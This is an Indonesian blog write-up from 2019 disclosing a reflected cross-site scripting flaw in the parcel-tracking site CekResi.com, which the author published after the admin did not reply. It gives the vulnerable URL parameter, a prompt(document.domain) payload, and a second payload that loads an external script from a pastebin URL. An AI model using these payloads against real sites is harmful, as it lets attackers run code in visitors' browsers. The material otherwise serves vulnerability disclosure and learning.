Tanio

Cross Site Scripting on Cekresi

24 Jul 2019

2 min read


Introduction

Hai lur, kali ini sedikit tulisan tentang salah satu bug yang saya temukan pada website CekResi.com ya karena ndak ada balasan email dari dari admin web tersebut, ya udah ku write up aja daripada ku simpan sendiri hehe.

Logo Cekresi
Logo Cekresi

About CekResi.com

CekResi.com sendiri adalah website yang populer untuk melakukan tracking barang yang dikirim atau diterima lewat nomer RESI yang di berikan dari kantor pemaketan.

Discovery

Awal aku menemukan bug ini ketika disuruh atasanku mengecek resi pengiriman dokumen ke kantor pusat tempat aku bekerja, nah aku inget ada website CekResi.com untuk sekedar mentracking barang sudah sampai mana.

Nah kumasukkan nomer resinya dan mengetahui bahwa paket sudah sampai ke Jakarta. Aku ingat disana ada form input nomer resi, ku coba isi dengan payload XSS sederhana, namun gagal.

Finding the Vulnerable Parameter

Tidak berhenti di situ, saya mencoba menginstall firefox quantum dan hackbar quantum, kebetulan di sana ada auto input parameter dengan script XSS. Dan ternyata aku menemukan sebuah parameter dimana bisa di masukkan payload XSS.

Parameter yang ku temukan seperti berikut https://cekresi.com/m/index?viewstate=&e=&noresi= pada parameter e= disitu saya menyisipkan payload XSS sederhanya "><script>prompt(document.domain);</script> untuk memunculkan nama domain dari website cekresi.com sehingga url nya menjadi seperti ini :

https://cekresi.com/m/index?viewstate=&e="><script>prompt(document.domain);</script>&noresi=TAN

Exploitation

Basic XSS

Berikut penampakannya :

XSS successful
Boom :D

Advanced XSS with External Script

Tak sampai disitu, saya juga mencoba untuk menggunakan script html dalam XSS kali ini dan ternyata berhasil. Berikut payloadnya :

https://cekresi.com/m/index?viewstate=&e="><script src=https://pastebin.com/raw/mUBsAPXz/></script>&noresi=TAN

Berikut penampakannya :

XSS with external script
Script HTML

Important Note

Eh iya lupa, ini hanya berlaku pada browser mozilla firefox ya, kalian pasti sudah tau alasannya dong.

Kesimpulan

Nah semoga bermanfaat bagi kalian. Terima Kasih.